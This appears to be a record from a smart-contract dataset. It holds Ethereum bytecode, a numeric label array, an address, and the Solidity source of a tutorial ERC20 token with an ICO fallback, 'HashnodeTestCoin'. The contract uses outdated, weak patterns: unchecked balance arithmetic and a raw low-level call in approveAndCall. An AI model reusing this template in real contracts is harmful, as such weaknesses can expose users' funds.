575061241d83612a97565b156124455761242a610a8f565b6001600160a01b0316336001600160a01b03161490506105fc565b61244d612152565b6001600160a01b0316639be2a8848484306040518463ffffffff1660e01b815260040161247c93929190614d0e565b60206040518083038186803b15801561249457600080fd5b505afa1580156124a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124cc9190614785565b90506105fc565b7f08c379a0000000000000000000000000000000000000000000000000000000006000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b600061254f84841115836114ec565b5050900390565b4690565b600080612575612570846004601f880201612b05565b612b0f565b9050600061258c6109d08560806010890201611e43565b9050600061259985612b2b565b90506125a6838383612baa565b9695505050505050565b6060806125bb611710565b67ffffffffffffffff811180156125d157600080fd5b506040519080825280602002602001820160405280156125fb578160200160208202803683370190505b5090508261260a5790506125a6565b61263d88878151811061261957fe5b602002602001015188888151811061262d57fe5b6020026020010151878787612c1e565b81878151811061264957fe5b6020908102919091010152979650505050505050565b60005b61266a611710565b8110156126c4576126a584828151811061268057fe5b602002602001015184838151811061269457fe5b60200260200101518463ffffffff16565b8482815181106126b157fe5b6020908102919091010152600101612662565b50505050565b6000606060006126d984612ca6565b905060008160028111156126e957fe5b1415612704576126fa878786612cbc565b9250925050612730565b600181600281111561271257fe5b1415612722576126fa8785612d9f565b6126fa87878787612dd1565b505b94509492505050565b6000612748848461105661265f565b6120f4828561224a565b600082820261276c84158061113257508385838161112f57fe5b670de0b6b3a764000090049392505050565b6127956001600160a01b038316151561019b6114ec565b6127a1826000836107d5565b6001600160a01b0382166000908152602081905260409020546127c790826101a1612540565b6001600160a01b0383166000908152602081905260409020556002546127ed9082612e40565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061282e908590614d05565b60405180910390a35050565b6000606080612847611677565b606060006128536121cc565b915091506000612863838c61224a565b905060606128778c8585600954868f6125b0565b90506128868c8261105661265f565b600060606128968e878d8d612e4e565b915091506128a58e8288612ea9565b60095590975095509350505050985098509895505050505050565b60006128ca611677565b6120f4836128db8660200151612eb8565b846128e98860400151612eb8565b8860600151612fda565b60006128fd611677565b6120f48361290e8660200151612eb8565b8461291c8860400151612eb8565b8860600151613047565b60008061293384846130bd565b9050600061294d61294683612710611115565b60016110ca565b905080821015612962576000925050506105fc565b61296c8282611056565b925050506105fc565b60006060612981611677565b600061298c84612ca6565b90506129a7600082600281111561299f57fe5b1460ce6114ec565b60606129b2856131f0565b90506129bf610796611710565b6129c98187611dce565b60606129d36121cc565b50905060006129e2828461224a565b905060006129f282610870611710565b600992909255509a91995090975050505050505050565b612a15600083836107d5565b600254612a2290826110ca565b6002556001600160a01b038216600090815260208190526040902054612a4890826110ca565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061282e908590614d05565b6000612ac27fe01af92c00000000000000000000000000000000000000000000000000000000610a17565b821480612af65750612af37f3e56920500000000000000000000000000000000000000000000000000000000610a17565b82145b806105fc57506105fc82613206565b1c637fffffff1690565b60006105fc637fffffff61108684670de0b6b3a7640000611115565b60004281612b3a8460c0611e39565b90506000612b498560e0611e39565b905080831115612b6657670de0b6b3a76400009350505050610895565b81831015612b7a5760009350505050610895565b8181038284038115612b9557612b908183611d86565b612b9f565b670de0b6b3a76400005b979650505050505050565b6000811580612bb857508284145b15612bc45750826106e1565b670de0b6b3a76400008210612bda5750816106e1565b82841115612c04576000612bf083858703612752565b9050612bfc8582611056565b9150506106e1565b6000612c1283868603612752565b9050612bfc85826110ca565b6000838311612c2f57506000612c9d565b6000612c3b8585611181565b90506000612c51670de0b6b3a764000088611d86565b9050612c65826709b6e64a8ec60000611734565b91506000612c73838361326a565b90506000612c8a612c8383613296565b8b90612752565b9050612c968187612752565b9450505050505b95945050505050565b6000818060200190518101906105fc91906148ee565b60006060612cc8611677565b600080612cd4856132bc565b91509150612cec612ce3611710565b821060646114ec565b6060612cf6611710565b67ffffffffffffffff81118015612d0c57600080fd5b50604051908082528060200260200182016040528015612d36578160200160208202803683370190505b509050612d7a888381518110612d4857fe5b6020026020010151888481518110612d5c57fe5b602002602001015185612d6d610616565b612d75610808565b6132de565b818381518110612d8657fe5b6020908102919091010152919791965090945050505050565b600060606000612dae8461339e565b90506060612dc48683612dbf610616565b6133b4565b9196919550909350505050565b60006060612ddd611677565b60606000612dea85613466565b91509150612dfb825161082a611710565b612e058287611dce565b6000612e22898985612e15610616565b612e1d610808565b61347e565b9050612e328282111560cf6114ec565b989197509095505050505050565b60006106e183836001612540565b600060606000612e5d84612ca6565b90506001816002811115612e6d57fe5b1415612e7f576126fa878787876136ac565b6002816002811115612e8d57fe5b1415612e9e576126fa878786613709565b61272e6101366124d3565b600061274884846110ca61265f565b6000807f0000000000000000000000008987a07ba83607a66c7351266e771fb865c9ca6c6001600160a01b0316836001600160a01b03161415612efd57506000612fce565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b0316836001600160a01b03161415612f3f57506001612fce565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161415612f8157506002612fce565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161415612fc357506003612fce565b612fce6101356124d3565b6106e181600b5461255a565b6000612ffc612ff187670429d069189e0000612752565b8311156101306114ec565b600061300887846110ca565b905060006130168883611181565b905060006130248887611d86565b90506000613032838361326a565b9050612c9661304082613296565b8990612752565b600061306961305e85670429d069189e0000612752565b8311156101316114ec565b600061307f6130788685611056565b8690611181565b9050600061308d8588611181565b9050600061309b838361326a565b905060006130b182670de0b6b3a7640000611056565b9050612c968a82611115565b6000816130d35750670de0b6b3a76400006105fc565b826130e0575060006105fc565b61310d7f8000000000000000000000000000000000000000000000000000000000000000841060066114ec565b82613133770bce5086492111aea88f4bb1ca6bcf584181ea8059f76532841060076114ec565b826000670c7d713b49da0000831380156131545750670f43fc2c04ee000083125b1561318b576000613164846137b6565b9050670de0b6b3a764000080820784020583670de0b6b3a764000083050201915050613199565b81613195846138ed565b0290505b670de0b6b3a764000090056131e77ffffffffffffffffffffffffffffffffffffffffffffffffdc702bd3a30fc000082128015906131e0575068070c1cc73b00c800008213155b60086114ec565b6125a681613c8d565b6060818060200190518101906106e191906149b4565b60006132317f38e9922e00000000000000000000000000000000000000000000000000000000610a17565b8214806105fc57506132627f50dd6ed900000000000000000000000000000000000000000000000000000000610a17565b909114919050565b60008061327784846130bd565b9050600061328a61294683612710611115565b9050612c9d82826110ca565b6000670de0b6b3a764000082106132ae5760006105fc565b50670de0b6b3a76400000390565b600080828060200190518101906132d3919061497e565b909590945092505050565b6000806132ef846110868188611056565b90506133086709b6e64a8ec600008210156101326114ec565b600061332661331f670de0b6b3a764000089611d86565b839061326a565b9050600061333d61333683613296565b8a90612752565b9050600061334a89613296565b905060006133588383611115565b905060006133668483611056565b905061338e613387613380670de0b6b3a76400008b611056565b8490612752565b82906110ca565b9c9b505050505050505050505050565b6000818060200190518101906106e19190614951565b606060006133c28484611d86565b90506060855167ffffffffffffffff811180156133de57600080fd5b50604051908082528060200260200182016040528015613408578160200160208202803683370190505b50905060005b865181101561345c5761343d8388838151811061342757fe5b602002602001015161275290919063ffffffff16565b82828151811061344957fe5b602090810291909101015260010161340e565b5095945050505050565b60606000828060200190518101906132d3919061490a565b60006060845167ffffffffffffffff8111801561349a57600080fd5b506040519080825280602002602001820160405280156134c4578160200160208202803683370190505b5090506000805b8851811015613589576135248982815181106134e357fe5b60200260200101516110868984815181106134fa57fe5b60200260200101518c858151811061350e57fe5b602002602001015161105690919063ffffffff16565b83828151811061353057fe5b60200260200101818152505061357f61357889838151811061354e57fe5b602002602001015185848151811061356257fe5b602002602001015161111590919063ffffffff16565b83906110ca565b91506001016134cb565b50670de0b6b3a764000060005b895181101561368b5760008482815181106135ad57fe5b602002602001015184111561360d5760006135d66135ca86613296565b8d858151811061342757fe5b905060006135ea828c868151811061350e57fe5b905061360461357861214b670de0b6b3a76400008c611056565b92505050613624565b88828151811061361957fe5b602002602001015190505b600061364d8c848151811061363557fe5b6020026020010151610875848f878151811061350e57fe5b905061367f6136788c858151811061366157fe5b60200260200101518361292690919063ffffffff16565b8590612752565b93505050600101613596565b5061369f61369882613296565b8790611115565b9998505050505050505050565b600060608060006136bc85613466565b915091506136d26136cb611710565b8351611033565b6136dc8287611dce565b60006136f98989856136ec610616565b6136f4610808565b61415d565b9050612e328282101560d06114ec565b60006060600080613719856132bc565b91509150613728612ce3611710565b6060613732611710565b67ffffffffffffffff8111801561374857600080fd5b50604051908082528060200260200182016040528015613772578160200160208202803683370190505b509050612d7a88838151811061378457fe5b602002602001015188848151811061379857fe5b6020026020010151856137a9610616565b6137b1610808565b61436f565b670de0b6b3a7640000026000806ec097ce7bc90715b34b9f1000000000808401907fffffffffffffffffffffffffffffffffff3f68318436f8ea4cb460f0000000008501028161380257fe5b05905060006ec097ce7bc90715b34b9f100000000082800205905081806ec097ce7bc90715b34b9f100000000081840205915060038205016ec097ce7bc90715b34b9f100000000082840205915060058205016ec097ce7bc90715b34b9f100000000082840205915060078205016ec097ce7bc90715b34b9f100000000082840205915060098205016ec097ce7bc90715b34b9f1000000000828402059150600b8205016ec097ce7bc90715b34b9f1000000000828402059150600d8205016ec097ce7bc90715b34b9f1000000000828402059150600f826002919005919091010295945050505050565b6000670de0b6b3a764000082121561392a57613920826ec097ce7bc90715b34b9f10000000008161391a57fe5b056138ed565b6000039050610895565b60007e1600ef3172e58d2e933ec884fde10064c63b5372d805e203c0000000000000831261397b57770195e54c5dd42177f53a27172fa9ec630262827000000000830592506806f05b59d3b2000000015b73011798004d755d3c8bc8e03204cf44619e00000083126139b3576b1425982cf597cd205cef7380830592506803782dace9d9000000015b606492830292026e01855144814a7ff805980ff008400083126139fb576e01855144814a7ff805980ff008400068056bc75e2d63100000840205925068ad78ebc5ac62000000015b6b02df0ab5a80a22c61ab5a7008312613a36576b02df0ab5a80a22c61ab5a70068056bc75e2d6310000084020592506856bc75e2d631000000015b693f1fce3da636ea5cf8508312613a6d57693f1fce3da636ea5cf85068056bc75e2d631000008402059250682b5e3af16b18800000015b690127fa27722cc06cc5e28312613aa457690127fa27722cc06cc5e268056bc75e2d6310000084020592506815af1d78b58c400000015b68280e60114edb805d038312613ad95768280e60114edb805d0368056bc75e2d631000008402059250680ad78ebc5ac6200000015b680ebc5fb417461211108312613b0457680ebc5fb4174612111068056bc75e2d631000009384020592015b6808f00f760a4b2db55d8312613b39576808f00f760a4b2db55d68056bc75e2d6310000084020592506802b5e3af16b1880000015b6806f5f17757889379378312613b6e576806f5f177578893793768056bc75e2d63100000840205925068015af1d78b58c40000015b6806248f33704b2866038312613ba2576806248f33704b28660368056bc75e2d63100000840205925067ad78ebc5ac620000015b6805c548670b9510e7ac8312613bd6576805c548670b9510e7ac68056bc75e2d6310000084020592506756bc75e2d6310000015b600068056bc75e2d63100000840168056bc75e2d631000008086030281613bf957fe5b059050600068056bc75e2d63100000828002059050818068056bc75e2d63100000818402059150600382050168056bc75e2d63100000828402059150600582050168056bc75e2d63100000828402059150600782050168056bc75e2d63100000828402059150600982050168056bc75e2d63100000828402059150600b820501600202606485820105979650505050505050565b6000613cd27ffffffffffffffffffffffffffffffffffffffffffffffffdc702bd3a30fc00008312158015613ccb575068070c1cc73b00c800008313155b60096114ec565b6000821215613d0657613ce782600003613c8d565b6ec097ce7bc90715b34b9f100000000081613cfe57fe5b059050610895565b60006806f05b59d3b20000008312613d5c57507ffffffffffffffffffffffffffffffffffffffffffffffff90fa4a62c4e00000090910190770195e54c5dd42177f53a27172fa9ec630262827000000000613da8565b6803782dace9d90000008312613da457507ffffffffffffffffffffffffffffffffffffffffffffffffc87d2531627000000909101906b1425982cf597cd205cef7380613da8565b5060015b6064929092029168056bc75e2d6310000068ad78ebc5ac620000008412613e0e577fffffffffffffffffffffffffffffffffffffffffffffff5287143a539e0000009093019268056bc75e2d631000006e01855144814a7ff805980ff008400082020590505b6856bc75e2d6310000008412613e60577fffffffffffffffffffffffffffffffffffffffffffffffa9438a1d29cf0000009093019268056bc75e2d631000006b02df0ab5a80a22c61ab5a70082020590505b682b5e3af16b188000008412613eb0577fffffffffffffffffffffffffffffffffffffffffffffffd4a1c50e94e78000009093019268056bc75e2d63100000693f1fce3da636ea5cf85082020590505b6815af1d78b58c4000008412613f00577fffffffffffffffffffffffffffffffffffffffffffffffea50e2874a73c000009093019268056bc75e2d63100000690127fa27722cc06cc5e282020590505b680ad78ebc5ac62000008412613f4f577ffffffffffffffffffffffffffffffffffffffffffffffff5287143a539e000009093019268056bc75e2d6310000068280e60114edb805d0382020590505b68056bc75e2d631000008412613f9e577ffffffffffffffffffffffffffffffffffffffffffffffffa9438a1d29cf000009093019268056bc75e2d63100000680ebc5fb4174612111082020590505b6802b5e3af16b18800008412613fed577ffffffffffffffffffffffffffffffffffffffffffffffffd4a1c50e94e7800009093019268056bc75e2d631000006808f00f760a4b2db55d82020590505b68015af1d78b58c40000841261403c577ffffffffffffffffffffffffffffffffffffffffffffffffea50e2874a73c00009093019268056bc75e2d631000006806f5f177578893793782020590505b68056bc75e2d631000008481019085906002908280020505918201919050600368056bc75e2d631000008783020505918201919050600468056bc75e2d631000008783020505918201919050600568056bc75e2d631000008783020505918201919050600668056bc75e2d631000008783020505918201919050600768056bc75e2d631000008783020505918201919050600868056bc75e2d631000008783020505918201919050600968056bc75e2d631000008783020505918201919050600a68056bc75e2d631000008783020505918201919050600b68056bc75e2d631000008783020505918201919050600c68056bc75e2d631000008783020505918201919050606468056bc75e2d63100000848402058502059695505050505050565b60006060845167ffffffffffffffff8111801561417957600080fd5b506040519080825280602002602001820160405280156141a3578160200160208202803683370190505b5090506000805b885181101561424b576142038982815181106141c257fe5b60200260200101516108758984815181106141d957fe5b60200260200101518c85815181106141ed57fe5b60200260200101516110ca90919063ffffffff16565b83828151811061420f57fe5b60200260200101818152505061424161357889838151811061422d57fe5b602002602001015185848151811061342757fe5b91506001016141aa565b50670de0b6b3a764000060005b895181101561432c5760008385838151811061427057fe5b602002602001015111156142cc5760006142956135ca86670de0b6b3a7640000611056565b905060006142a9828c868151811061350e57fe5b90506142c361357861229b670de0b6b3a76400008c611056565b925050506142e3565b8882815181106142d857fe5b602002602001015190505b600061430c8c84815181106142f457fe5b6020026020010151610875848f87815181106141ed57fe5b90506143206136788c858151811061366157fe5b93505050600101614258565b50670de0b6b3a76400008111156143635761435961435282670de0b6b3a7640000611056565b8790612752565b9350505050612c9d565b60009350505050612c9d565b6000806143808461108681886110ca565b90506143996729a2241af62c00008211156101336114ec565b60006143b061331f670de0b6b3a764000089611181565b905060006143d06143c983670de0b6b3a7640000611056565b8a90611115565b905060006143dd89613296565b905060006143eb8383611115565b905060006143f98483611056565b905061338e613387614413670de0b6b3a76400008b611056565b8490611181565b80356105fc81614eac565b600082601f830112614435578081fd5b813561444861444382614e8c565b614e65565b81815291506020808301908481018184028601820187101561446957600080fd5b60005b848110156144885781358452928201929082019060010161446c565b505050505092915050565b600082601f8301126144a3578081fd5b81516144b161444382614e8c565b8181529150602080830190848101818402860182018710156144d257600080fd5b60005b84811015614488578151845292820192908201906001016144d5565b600082601f830112614501578081fd5b813567ffffffffffffffff811115614517578182fd5b61452a6020601f19601f84011601614e65565b915080825283602082850101111561454157600080fd5b8060208401602084013760009082016020015292915050565b8035600281106105fc57600080fd5b60006020828403121561457a578081fd5b81356106e181614eac565b60008060408385031215614597578081fd5b82356145a281614eac565b915060208301356145b281614eac565b809150509250929050565b6000806000606084860312156145d1578081fd5b83356145dc81614eac565b925060208401356145ec81614eac565b929592945050506040919091013590565b600080600080600080600060e0888a031215614617578283fd5b873561462281614eac565b9650602088013561463281614eac565b95506040880135945060608801359350608088013560ff81168114614655578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215614684578182fd5b823561468f81614eac565b946020939093013593505050565b6000806000606084860312156146b1578081fd5b835167ffffffffffffffff808211156146c8578283fd5b818601915086601f8301126146db578283fd5b81516146e961444382614e8c565b80828252602080830192508086018b828387028901011115614709578788fd5b8796505b8487101561473457805161472081614eac565b84526001969096019592810192810161470d565b50890151909750935050508082111561474b578283fd5b5061475886828701614493565b925050604084015190509250925092565b60006020828403121561477a578081fd5b81356106e181614ec1565b600060208284031215614796578081fd5b81516106e181614ec1565b600080600080600080600060e0888a0312156147bb578081fd5b8735965060208801356147cd81614eac565b955060408801356147dd81614eac565b9450606088013567ffffffffffffffff808211156147f9578283fd5b6148058b838c01614425565b955060808a0135945060a08a0135935060c08a0135915080821115614828578283fd5b506148358a828b016144f1565b91505092959891949750929550565b600060208284031215614855578081fd5b81357fffffffff00000000000000000000000000000000000000000000000000000000811681146106e1578182fd5b600060208284031215614895578081fd5b81516106e181614eac565b600080604083850312156148b2578182fd5b82356148bd81614eac565b9150602083013567ffffffffffffffff8111156148d8578182fd5b6148e4858286016144f1565b9150509250929050565b6000602082840312156148ff578081fd5b81516106e181614ecf565b60008060006060848603121561491e578081fd5b835161492981614ecf565b602085015190935067ffffffffffffffff811115614945578182fd5b61475886828701614493565b60008060408385031215614963578182fd5b825161496e81614ecf565b6020939093015192949293505050565b600080600060608486031215614992578081fd5b835161499d81614ecf565b602085015160409095015190969495509392505050565b600080604083850312156149c6578182fd5b82516149d181614ecf565b602084015190925067ffffffffffffffff8111156149ed578182fd5b6148e485828601614493565b600080600060608486031215614a0d578081fd5b833567ffffffffffffffff80821115614a24578283fd5b8186019150610120808389031215614a3a578384fd5b614a4381614e65565b9050614a4f888461455a565b8152614a5e886020850161441a565b6020820152614a70886040850161441a565b6040820152606083013560608201526080830135608082015260a083013560a0820152614aa08860c0850161441a565b60c0820152614ab28860e0850161441a565b60e08201526101008084013583811115614aca578586fd5b614ad68a8287016144f1565b9183019190915250976020870135975060409096013595945050505050565b600060208284031215614b06578081fd5b5035919050565b600080600060608486031215614b21578081fd5b8335925060208401359150604084013567ffffffffffffffff811115614b45578182fd5b614b5186828701614425565b9150509250925092565b60008060008060808587031215614b70578182fd5b8451935060208501519250604085015191506060850151614b9081614eac565b939692955090935050565b6000815180845260208085019450808401835b83811015614bca57815187529582019590820190600101614bae565b509495945050505050565b60008151808452815b81811015614bfa57602081850181015186830182015201614bde565b81811115614c0b5782602083870101525b50601f01601f19169290920160200192915050565b9182527fffffffff0000000000000000000000000000000000000000000000000000000016602082015260240190565b6000828483379101908152919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6000602082526106e16020830184614b9b565b600060408252614cd06040830185614b9b565b8281036020840152612c9d8185614b9b565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b9283526001600160a01b03918216602084015216604082015260600190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b6000838252604060208301526120f46040830184614bd5565b9182526001600160a01b0316602082015260400190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082526106e16020830184614bd5565b6000838252604060208301526120f46040830184614b9b565b600084825283602083015260606040830152612c9d6060830184614b9b565b600085825284602083015260806040830152614e456080830185614b9b565b8281036060840152612b9f8185614b9b565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715614e8457600080fd5b604052919050565b600067ffffffffffffffff821115614ea2578081fd5b5060209081020190565b6001600160a01b038116811461061357600080fd5b801515811461061357600080fd5b6003811061061357600080fdfea264697066735822122043fe62b932fca361924bc6d1251a9cf53e36adde19308c6e5b13753d3adc23ee64736f6c63430007010033 | [
32,
4,
9,
12
] |
0xf340358c95ef99200777bc8eb3b2b2edab9bbc88 | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract HashnodeTestCoin is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HashnodeTestCoin() {
balances[msg.sender] = 1000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 1000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "HashnodeTestCoin"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "HTN4"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 10; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
if (balances[fundsWallet] < amount) {
return;
}
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610388578063095ea7b31461041657806318160ddd146104705780632194f3a21461049957806323b872dd146104ee578063313ce5671461056757806354fd4d501461059657806365f2bc2e1461062457806370a082311461064d578063933ba4131461069a57806395d89b41146106c3578063a9059cbb14610751578063cae9ca51146107ab578063dd62ed3e14610848575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015157610385565b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561038457600080fd5b5b50005b341561039357600080fd5b61039b6108b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103db5780820151818401526020810190506103c0565b50505050905090810190601f1680156104085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042157600080fd5b610456600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610952565b604051808215151515815260200191505060405180910390f35b341561047b57600080fd5b610483610a44565b6040518082815260200191505060405180910390f35b34156104a457600080fd5b6104ac610a4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f957600080fd5b61054d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a70565b604051808215151515815260200191505060405180910390f35b341561057257600080fd5b61057a610ce9565b604051808260ff1660ff16815260200191505060405180910390f35b34156105a157600080fd5b6105a9610cfc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e95780820151818401526020810190506105ce565b50505050905090810190601f1680156106165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062f57600080fd5b610637610d9a565b6040518082815260200191505060405180910390f35b341561065857600080fd5b610684600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da0565b6040518082815260200191505060405180910390f35b34156106a557600080fd5b6106ad610de8565b6040518082815260200191505060405180910390f35b34156106ce57600080fd5b6106d6610dee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107165780820151818401526020810190506106fb565b50505050905090810190601f1680156107435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075c57600080fd5b610791600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e8c565b604051808215151515815260200191505060405180910390f35b34156107b657600080fd5b61082e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ff2565b604051808215151515815260200191505060405180910390f35b341561085357600080fd5b61089e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561094a5780601f1061091f5761010080835404028352916020019161094a565b820191906000526020600020905b81548152906001019060200180831161092d57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3c575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b485750600082115b15610cdd57816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff